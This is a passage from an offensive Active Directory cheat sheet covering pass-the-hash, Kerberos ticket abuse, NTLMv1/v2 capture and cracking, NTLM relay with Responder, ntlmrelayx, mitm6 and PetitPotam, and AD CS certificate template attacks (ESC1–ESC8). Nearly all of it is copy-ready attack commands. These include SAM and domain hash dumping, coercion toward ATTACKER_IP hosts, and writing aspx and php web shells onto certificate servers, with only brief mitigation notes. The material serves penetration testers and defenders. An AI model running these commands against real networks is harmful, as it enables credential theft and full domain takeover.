- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)

* using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
  ```bash
  user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
  user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
  user@hostname:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares
  ```

**Mitigations**: 
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
* Disable RC4 cipher if possible.


## Timeroasting

> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID

* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
    ```ps1
    sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
    hashcat -m 31300 ntp-hashes.txt
    ```


## Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

* Metasploit
  ```powershell
  use exploit/windows/smb/psexec
  set RHOST 10.2.0.3
  set SMBUser jarrieta
  set SMBPass nastyCutt3r  
  # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
  # NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
  set PAYLOAD windows/meterpreter/bind_tcp
  run
  shell
  ```
* CrackMapExec
  ```powershell
  cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
  ```
* Impacket suite
  ```powershell
  proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
  ```
* Windows RDP and mimikatz
  ```powershell
  sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
  sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
  ```

You can extract the local **SAM database** to find the local administrator hash :

```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```


## OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).

### Using impacket

```bash
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass

# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```

### Using Rubeus

```powershell
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```


## Capturing and cracking Net-NTLMv1/NTLMv1 hashes/tokens

> Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication (they are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys. 

:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.

**Requirements**:
* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)

**Exploitation**:
* Capturing using Responder: Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge
    ```ps1
    HTTPS = On
    DNS = On
    LDAP = On
    ...
    ; Custom challenge.
    ; Use "Random" for generating a random challenge for each requests (Default)
    Challenge = 1122334455667788
    ```
* Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
* Force a callback:
    ```ps1
    PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
    PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
    ```
* If you got some `NetNTLMv1 tokens`, you can try to **shuck** them online via [Shuck.Sh](https://shuck.sh/) or locally/on-premise via [ShuckNT](https://github.com/yanncam/ShuckNT/) to get NT-hashes corresponding from [HIBP database](https://haveibeenpwned.com/Passwords). If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash ([pass-the-hash](#pass-the-hash) ready) instantly. The [shucking process](https://www.youtube.com/watch?v=OQD3qDYMyYQ&ab_channel=PasswordVillage) works for any NetNTLMv1 with or without ESS/SSP (challenge != `1122334455667788`) but mainly for user account (plaintext previsouly leaked).
    ```ps1
    # Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php
    # Or shuck them on-premise via ShuckNT script:
    $ php shucknt.php -f tokens-samples.txt -w pwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin
	[...]
	10 hashes-challenges analyzed in 3 seconds, with 8 NT-Hash instantly broken for pass-the-hash and 1 that can be broken via crack.sh for free.
	[INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
	        [NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B
    ```
* If you got some `NetNTLMv1 tokens`, you can also try to crack them via [Crack.Sh](https://crack.sh/) (cloud service when available, more time and potentially chargeable). For this you need to format them to submit them on [Crack.Sh](https://crack.sh/netntlm/). The Converter of [Shuck.Sh](https://shuck.sh/) can be used to convert format easily.
    ```ps1
    # When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
    username::hostname:response:response:challenge -> NTHASH:response
    NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972

    # When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
    username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse
    $NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E
    ```
* Finaly, if no [Shuck.Sh](https://shuck.sh/) nor [Crack.Sh](https://crack.sh/) can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper
    ```ps1
    john --format=netntlm hash.txt
    hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
    hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
    hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php.
    ```
* Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= `1122334455667788`, so chargeable on [Crack.Sh](https://crack.sh/)).

:warning: NetNTLMv1 format is `login::domain:lmresp:ntresp:clientChall`. If the `lmresp` contains a **0's-padding** this means that the token is protected by **ESS/SSP**.

:warning: NetNTLMv1 final challenge is the Responder's challenge itself (`1122334455667788`) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the [Shuck.Sh Generator](https://shuck.sh/generator.php) and detailed in [MISCMag#128](https://connect.ed-diamond.com/misc/misc-128/shuck-hash-before-trying-to-crack-it).

:warning: If you get some tokens from other tools ([hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) or [chapcrack](https://github.com/moxie0/chapcrack)) in other formats, like tokens starting with the prefix `$MSCHAPv2$`, `$NETNTLM$` or `$99$`, they correspond to a classic NetNTLMv1 and can be converted from one format to another [here](https://shuck.sh/converter.php).


**Mitigations**: 

* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`

## Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```powershell
# https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://github.com/Kevin-Robertson/InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
```

Crack the hashes with Hashcat / John The Ripper

```ps1
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```


## Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

| Hash                 | Hashcat | Attack method       |
|---|---|---|
| LM                    | `3000`  | crack/pass the hash  |
| NTLM/NTHash           | `1000`  | crack/pass the hash  |
| NTLMv1/Net-NTLMv1     | `5500`  | crack/relay attack   |
| NTLMv2/Net-NTLMv2     | `5600`  | crack/relay attack   |

Crack the hash with `hashcat`.

```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

### MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068

```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

### LDAP signing not required and LDAP channel binding disabled

During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:
* LDAP signing not required (by default set to `Not required`)
* LDAP channel binding is disabled. (by default disabled)
* `ms-DS-MachineAccountQuota` needs to be at least at 1 for the account relayed (10 by default)

Then we can use a tool to poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network such as `Responder` and use `ntlmrelayx` to add our computer.
```bash
# On first terminal
sudo ./Responder.py -I eth0 -wfrd -P -v

# On second terminal
sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
```
It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.

### SMB Signing Disabled and IPv4

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
    ```powershell
    [Responder Core]
    ; Servers to start
    ...
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
    ```
2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` 
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
    - `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list. 
    - `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    ```powershell
    $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks
    Protocol  Target          Username                  Port
    --------  --------------  ------------------------  ----
    MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
    SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
    MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

    # You might need to select a target with "-t"
    # smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
    impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
    impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

    # the socks proxy can then be used with your Impacket tools or CrackMapExec
    $ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
    $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
    $ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"   
    ```

**Mitigations**:

 * Disable LLMNR via group policy
    ```powershell
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
    ```
 * Disable NBT-NS
    ```powershell
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
    ```

### SMB Signing Disabled and IPv6

Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```powershell
crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to. 
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```

### Drop the MIC

> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)

```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
    ```powershell
    TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
    TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
    ```


- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
    ```powershell
    # create a new machine account
    TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
    TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
    TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

    # connect using the ticket
    export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
    secretsdump.py -k -no-pass second-dc-server.local -just-dc
    ```

### Ghost Potato - CVE-2019-1384

Requirements:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

```powershell
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

### RemotePotato0 DCOM DCE RPC relay 

> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements:
- a shell in session 0 (e.g. WinRm shell or SSH shell)
- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

```powershell
# https://github.com/antonioCoco/RemotePotato0/
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
```


### DNS Poisonning - Relay delegation with mitm6

Requirements: 
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```powershell
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist

ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator  
export KRB5CCNAME=administrator.ccache  
secretsdump.py -k -no-pass target.lab.local  
```

### Relaying with WebDav Trick

> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

**Requirement**:
*  WebClient service

**Exploitation**:
* Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
* Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
* Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
* Discover WebDAV services
    ```ps1
    webclientservicescanner 'domain.local'/'user':'password'@'machine'
    crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
    GetWebDAVStatus.exe 'machine'
    ```
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System. 
  ```ps1
  # PrinterBug
  dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

  # PetitPotam
  Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  ```
* Use the created account to ask for a service ticket: 
    ```ps1
    .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
    .\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
    ls \\PC1.purple.lab\c$
    # IP of PC1: 10.0.0.4
    ```

### Man-in-the-middle RDP connections with pyrdp-mitm
* https://github.com/GoSecure/pyrdp
* https://www.gosecure.net/blog/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/
* Usage
```sh
pyrdp-mitm.py <IP>
pyrdp-mitp.py <IP>:<PORT> # with custom port
pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
```
* Exploitation
  * If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
  * If NLA is disabled, you will obtain the password in plaintext
  * Other features are available such as keystroke recording
* Alternatives
  * S3th: https://github.com/SySS-Research/Seth, performs ARP spoofing prior to launching the RDP listener	

## Active Directory Certificate Services

* Find ADCS Server
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`
  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`

### ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

**Requirements**

* Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) 


**Exploitation**

* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
    ```ps1
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
    ```
* Use OpenSSL and convert the certificate, do not enter a password
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**WARNING**: These certificates will still be usable even if the user or computer resets their password!

**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.


### ESC2 - Misconfigured Certificate Templates

**Requirements**

* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

**Exploitation**

* Find template
  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  ```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).


### ESC3 - Misconfigured Enrollment Agent Templates

> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

* Request a certificate based on the vulnerable certificate template ESC3.
  ```ps1
  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
  [*] Saved certificate and private key to 'john.pfx'
  ```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user 
  ```ps1
  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
  ```


### ESC4 - Access Control Vulnerabilities

> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  ```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

  # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
  C:\>StandIn.exe --adcs --filter WebServer --ess --add
  ```
* Perform ESC1 and then restore the value
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
  ```

Using Certipy

```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```

### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name. 

**Exploitation**

* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
    ```ps1
    Certify.exe cas
    ```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

**Mitigation**

* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


### ESC7 - Vulnerable Certificate Authority Access Control

**Exploitation**

* Detect CAs that allow low privileged users the `ManageCA`  or `Manage Certificates` permissions
    ```ps1
    Certify.exe find /vulnerable
    ```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* Request the certificate with the desired SAN.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* Grant approval if required or disable the approval requirement
    ```ps1
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart
    ```

Alternative exploitation from **ManageCA** to **RCE** on ADCS server: 

```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```


### ESC8 - AD CS Relay Attack

> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)

* **Version 1**: NTLM Relay + Rubeus + PetitPotam
  ```powershell
  impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
